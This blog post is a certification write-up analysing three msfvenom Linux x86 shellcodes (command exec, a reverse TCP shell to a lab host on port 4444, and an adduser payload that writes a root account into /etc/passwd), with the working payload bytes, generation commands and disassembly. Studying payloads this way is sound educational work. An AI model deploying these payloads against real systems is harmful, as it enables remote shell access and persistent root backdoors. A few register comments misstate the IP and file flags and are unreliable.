Msfvenom shellcode analysis
This blog post provides an analysis of various common shellcodes generated by the msfvenom
utility which is part of Metasploit.
- # Shellcode analysis #1: linux/x86/exec
- Stepping through the shellcode
- # Shellcode analysis #2: linux/x86/shell_reverse_tcp
- Stepping through the shellcode
- # Shellcode analysis #3: linux/x86/adduser
- Stepping through the shellcode
Shellcode analysis #1: linux/x86/exec
The linux/x86/exec
msfvenom payload simply executes an arbitrary program configured with the CMD
parameter.
The payload for this analysis was generated as follows:
slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec -f c -o exec_shellcode CMD=/usr/bin/id
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
Final size of c file: 224 bytes
Saved as: exec_shellcode
Next, it was added to the skeleton test C program that was used for the other assignments.
#include <stdio.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0c\x00\x00\x00\x2f"
"\x75\x73\x72\x2f\x62\x69\x6e\x2f\x69\x64\x00\x57\x53\x89\xe1"
"\xcd\x80";
int main()
{
int (*ret)() = (int(*)())shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
ret();
}
The shellcode is compiled with the -z execstack
flag to make the stack executable then tested to make sure it works:
slemire@slae:~/slae32/assignment5/1_exec$ gcc -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment5/1_exec$ ./shellcode
Size: 48 bytes.
uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
The sctest
program from libemu2
can be used to emulate the specific instructions in the shellcode and help understand how the shellcode works. As show in the output below, we can clearly see that the shellcode executes the execve
function, using /bin/sh
as the program name. The command /usr/bin/id
that was configured in the payload through msfvenom is executed using the -c
command flag of /bin/sh
.
slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | sctest -v -Ss 100000
verbose = 1
[...]
execve
int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]);
cpu error error accessing 0x00000004 not mapped
stepcount 15
int execve (
const char * dateiname = 0x00416fc0 =>
= "/bin/sh";
const char * argv[] = [
= 0x00416fb0 =>
= 0x00416fc0 =>
= "/bin/sh";
= 0x00416fb4 =>
= 0x00416fc8 =>
= "-c";
= 0x00416fb8 =>
= 0x0041701d =>
= "/usr/bin/id";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
ndisasm
is used to decode the instructions from the shellcode:
slemire@slae:~/slae32/assignment5/1_exec$ msfvenom -p linux/x86/exec CMD=/usr/bin/id | ndisasm -b 32 -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E80C000000 call dword 0x29
0000001D 2F das
0000001E 7573 jnz 0x93
00000020 722F jc 0x51
00000022 62696E bound ebp,[ecx+0x6e]
00000025 2F das
00000026 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
0000002E 80 db 0x80
Stepping through the shellcode
The syscall for execve
is 0xb
and needs to be placed into the $eax
register before calling int 0x80
. It could be done with mov eax, 0xb
but this uses a longer shellcode, so instead the push
and pop
instructions are used to place the 0xb
in the $eax
register.
push byte +0xb ; top of stack = 0xb
pop eax ; eax -> 0xb
The $edx
register will be set to null since we don’t need to pass any environment variables to the program that is executed. Using the cdq
instruction is a little trick to further reduce the shellcode size. It extends the sign bit of the $eax
register (which is not set since its value is 0xb
) into the $edx
register, effectively changing it to zero.
cdq ; edx -> 0
push edx ;
The address of the the 2nd argument -c
is moved into $edi
. This’ll be used later when pushing the arguments on the stack.
push word 0x632d ; const char * argv[] -> "-c"
mov edi,esp ;
The first argument const char *filename
contains a pointer to the filename that’ll be executed. The /bin/sh
is pushed on the stack, then the $esp
value is copied to $ebx
so it’ll be used for the execve
syscall.
push dword 0x68732f ; /bin/sh
push dword 0x6e69622f ; [...]
mov ebx,esp ; const char *filename -> "/bin/sh"
push edx
The call
instruction first places the address of /usr/bin/id
on the stack then jumps to the instructions following the null byte below.
E80C000000 call dword 0x29 ; push on the stack the address of string "/usr/bin/id"
2F das ; /usr/bin/id
7573 jnz 0x93 ; [...]
722F jc 0x51 ; [...]
62696E bound ebp,[ecx+0x6e] ; [...]
2F das ; [...]
696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953 ; [...]
After the call instruction, gdb shows that the next instructions push the argv[] in the reverse order:
$eax : 0xb
$ebx : 0xbffff59e → "/bin/sh"
$ecx : 0x7ffffff7
$edx : 0x0
$esp : 0xbffff596 → 0x0804a05d → "/usr/bin/id"
$ebp : 0xbffff5c8 → 0x00000000
$esi : 0xb7fcc000 → 0x001b1db0
$edi : 0xbffff5a6 → 0x0000632d ("-c"?)
[...]
0xbffff596│+0x0000: 0x0804a05d → "/usr/bin/id" ← $esp
0xbffff59a│+0x0004: 0x00000000
0xbffff59e│+0x0008: "/bin/sh"
0xbffff5a2│+0x000c: 0x0068732f ("/sh"?)
0xbffff5a6│+0x0010: 0x0000632d ("-c"?)
0xbffff5aa│+0x0014: 0x843a0000
0xbffff5ae│+0x0018: 0x00010804
0xbffff5b2│+0x001c: 0xf6740000
───────────────────────────────────────────────────────── code:x86:32 ────
→ 0x804a069 <shellcode+41> push edi
0x804a06a <shellcode+42> push ebx
0x804a06b <shellcode+43> mov ecx, esp
0x804a06d <shellcode+45> int 0x80
After the push
, the stack looks like this:
0xbffff58e│+0x0000: 0xbffff59e → "/bin/sh" ← $esp
0xbffff592│+0x0004: 0xbffff5a6 → 0x0000632d ("-c"?)
0xbffff596│+0x0008: 0x0804a05d → "/usr/bin/id"
The argv[]
now contains : ["/bin/sh", "-c", "/usr/bin/id"]
and the $ecx
register contains the memory adress of this array.
Finally, execve
is called using the int 0x80
instruction.
Shellcode analysis #2: linux/x86/shell_reverse_tcp
The linux/x86/shell_reverse_tcp
msfvenom payload connects back to a remote machine, executes a shell and redirects output to the socket. This type of payload is commonly used when a firewall restrict incoming connections but allow outbound connections.
The payload for this analysis was generated as follows:
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp -f c -o shell_reverse_tcp_shellcode LHOST=172.23.10.37 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
Saved as: shell_reverse_tcp_shellcode
Compiling and verifying that the shellcode works:
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ gcc -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ ./shellcode
Size: 69 bytes.
[...]
slemire@slae:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [172.23.10.37] port 4444 [tcp/*] accepted (family 2, sport 53684)
id
uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
With libemu’s sctest
utility, we can see that the shellcode executes the following functions:
- socket
- dup2 (duplicate stdin, stdout and stderr descriptors)
- connect
- execve
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | sctest -v -Ss 100000
verbose = 1
[...]
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int dup2 (
int oldfd = 14;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 14;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 14;
int newfd = 0;
) = 0;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 621418412 (host=172.23.10.37);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
int execve (
const char * dateiname = 0x00416fa6 =>
= "//bin/sh";
const char * argv[] = [
= 0x00416f9e =>
= 0x00416fa6 =>
= "//bin/sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
With ndisasm
, we can disassemble the shellcode produced by msfvenom:
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.23.10.37 LPORT=4444 | ndisasm -b32 - > shell_reverse_tcp.asm
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
slemire@slae:~/slae32/assignment5/2_shell_reverse_tcp$ cat shell_reverse_tcp.asm
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 93 xchg eax,ebx
00000010 59 pop ecx
00000011 B03F mov al,0x3f
00000013 CD80 int 0x80
00000015 49 dec ecx
00000016 79F9 jns 0x11
00000018 68AC170A25 push dword 0x250a17ac
0000001D 680200115C push dword 0x5c110002
00000022 89E1 mov ecx,esp
00000024 B066 mov al,0x66
00000026 50 push eax
00000027 51 push ecx
00000028 53 push ebx
00000029 B303 mov bl,0x3
0000002B 89E1 mov ecx,esp
0000002D CD80 int 0x80
0000002F 52 push edx
00000030 686E2F7368 push dword 0x68732f6e
00000035 682F2F6269 push dword 0x69622f2f
0000003A 89E3 mov ebx,esp
0000003C 52 push edx
0000003D 53 push ebx
0000003E 89E1 mov ecx,esp
00000040 B00B mov al,0xb
00000042 CD80 int 0x80
Stepping through the shellcode
First, registers are cleared. The mul
instruction is a shortcut to zero out eax
and edx
with a single instruction.
xor ebx,ebx ; ebx = 0
mul ebx ; eax = 0, edx = 0
int socket(int domain, int type, int protocol);
The socket is created:
- AF_INET = IP
- SOCK_STREAM = tcp
inc ebx ; ebx = 1 (SYS_SOCKET)
push ebx ; socket() -> type = 1 (SOCK_STREAM)
push byte +0x2 ; socket() -> domain = 2 (AF_INET)
mov ecx,esp ; socketcall() -> *args
mov al,0x66 ; sys_socketcall -> SYS_SOCKET
int 0x80
int dup2(int oldfd, int newfd)
stdin, stdout and stderr are duplicated to the network socket:
xchg eax,ebx ; eax = 1, ebx = 3 (fd)
pop ecx ; ecx = 2
mov al,0x3f ; sys_dup2
int 0x80 ;
dec ecx ;
jns 0x11 ; loop through stdin, stdout, stderr
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
The socket is then connected to the remote listener 172.23.10.37 / 4444:
push dword 0x250a17ac ; IP: 172.23.10.38
push dword 0x5c110002 ; Port: 4444
mov ecx,esp ; socketcall() -> *args
mov al,0x66 ; sys_socketcall -> SYS_CONNECT
push eax ; socklen_t addrlen = 66
push ecx ; const struct sockaddr *addr
push ebx ; int sockfd = 3 (fd)
mov bl,0x3 ; ebx = 3 (SYS_CONNECT)
mov ecx,esp ; socketcall() -> *args
int 0x80
int execve(const char *filename, char *const argv[], char *const envp[])
Once the socket is connected, execve
is used to spawn a shell and since the descriptors have previously been duplicated the input and output will be redirected over the network.
push edx ; edx = 0
push dword 0x68732f6e ; //bin/sh
push dword 0x69622f2f ; [...]
mov ebx,esp ; const char *filename -> /bin/sh
push edx ;
push ebx ;
mov ecx,esp ; char *const argv[] -> /bin/sh
mov al,0xb ; sys_execve
int 0x80
Shellcode analysis #3: linux/x86/adduser
The linux/x86/adduser
shellcode adds a new user to /etc/passwd
with an arbitrary username and password. The password is encoded in traditional descrypt format directly in the file instead of /etc/shadow
.
Creating the shellcode
slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser -f c -o adduser_shellcode USER=slae PASS=slae
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
Final size of c file: 409 bytes
Saved as: adduser_shellcode
Verifying that the shellcode works by adding a user slae
with password slae
slemire@slae:~/slae32/assignment5/3_adduser$ gcc -z execstack -o shellcode shellcode.c
slemire@slae:~/slae32/assignment5/3_adduser$ sudo ./shellcode
[sudo] password for slemire:
Size: 92 bytes.
slemire@slae:~/slae32/assignment5/3_adduser$ grep slae /etc/passwd
slae:AzH43ypX/zepc:0:0::/:/bin/sh
ndisasm
is used to dissassemble the shellcode:
slemire@slae:~/slae32/assignment5/3_adduser$ msfvenom -p linux/x86/adduser USER=slae PASS=slae | ndisasm -b32 -
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E822000000 call dword 0x4d
0000002B 736C jnc 0x99 -> Start of username/password string
0000002D 61 popad ..
0000002E 653A417A cmp al,[gs:ecx+0x7a] ..
00000032 48 dec eax
00000033 3433 xor al,0x33
00000035 7970 jns 0xa7
00000037 58 pop eax
00000038 2F das
00000039 7A65 jpe 0xa0
0000003B 7063 jo 0xa0
0000003D 3A30 cmp dh,[eax]
0000003F 3A30 cmp dh,[eax]
00000041 3A3A cmp bh,[edx]
00000043 2F das
00000044 3A2F cmp ch,[edi]
00000046 62696E bound ebp,[ecx+0x6e]
00000049 2F das
0000004A 7368 jnc 0xb4
0000004C 0A598B or bl,[ecx-0x75]
0000004F 51 push ecx
00000050 FC cld
00000051 6A04 push byte +0x4
00000053 58 pop eax
00000054 CD80 int 0x80
00000056 6A01 push byte +0x1
00000058 58 pop eax
00000059 CD80 int 0x80
Stepping through the shellcode
int setreuid(uid_t ruid, uid_t euid)
setreuid() can be used by daemon processes to change the identity of a process in order for the process to be used to run work on behalf of a user.
The setreuid
function is called so the program executes as root (of course, the user or process executing the shellcode must have privileges to do so). This is often used when the process itself doesn’t run as root but has privileges to do, for example if the SUID bit is set on the file.
xor ecx,ecx ; ecx = 0
mov ebx,ecx ; ebx = 0
push byte +0x46 ; eax = 0x46 -> sys_setreuid16
pop eax
int 0x80
int open(const char *pathname, int flags)
A file descriptor is then created so the shellcode can write the new user into /etc/passwd
. The open
function expects a pointer to the filename /etc/passwd
and the flags. The filename contains extra slashes so make it 4 bytes aligned. The extra slashes in the filename don’t change the behavior as Linux don’t care of there is a single slash or multiple ones.
Flags specify if the file should be opened as read-only, write-only, etc.
The list of flags is in the fnctl.h
file:
#define O_ACCMODE 00000003
#define O_RDONLY 00000000
#define O_WRONLY 00000001
#define O_RDWR 00000002
#define O_CREAT 00000100
#define O_EXCL 00000200
#define O_NOCTTY 00000400
#define O_TRUNC 00001000
#define O_APPEND 00002000
...
These values are encoded in octal base, so when we look at the disassembled code below for the open
function, we see that the $ecx
register contains the value 0x401 which translates to 2001 in octal base. Therefore the O_WRONLY
and O_APPEND
flags are used on /etc/passwd
.
push byte +0x5 ; eax = 0x5 -> sys_open
pop eax
xor ecx,ecx ; ecx = 0
push ecx ; null-terminate pathname string
push dword 0x64777373 ; /etc//passwd
push dword 0x61702f2f ; [...]
push dword 0x6374652f ; [...]
mov ebx,esp ; const char *pathname -> /etc//passwd
inc ecx ; ecx = 0x1
mov ch,0x4 ; ecx = 0x401, int flags -> O_TRUNC + O_WRONLY
int 0x80
The next bit of code pushes on the stack the memory address of new /etc/passwd
line that’ll get added. Then the code jumps further down in the code.
xchg eax,ebx ; eax = */etc//passwd, ebx = 3
call dword 0x4d ; put username entry on the stack
The code lands here, where the write
function is called to add the username into the file.
write(int fd, const void *buf, size_t count)
pop ecx ; username entry: slae:AzH43ypX/zepc...
mov edx, DWORD PTR [ecx-0x4] ; len
push 0x4 ; eax = 0x4 -> sys_write
pop eax
int 0x80
Then finally, the program exits:
push 0x1 ; eax = 0x1 -> sys_exit
pop eax
int 0x80
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1236
All source files can be found on GitHub at https://github.com/slemire/slae32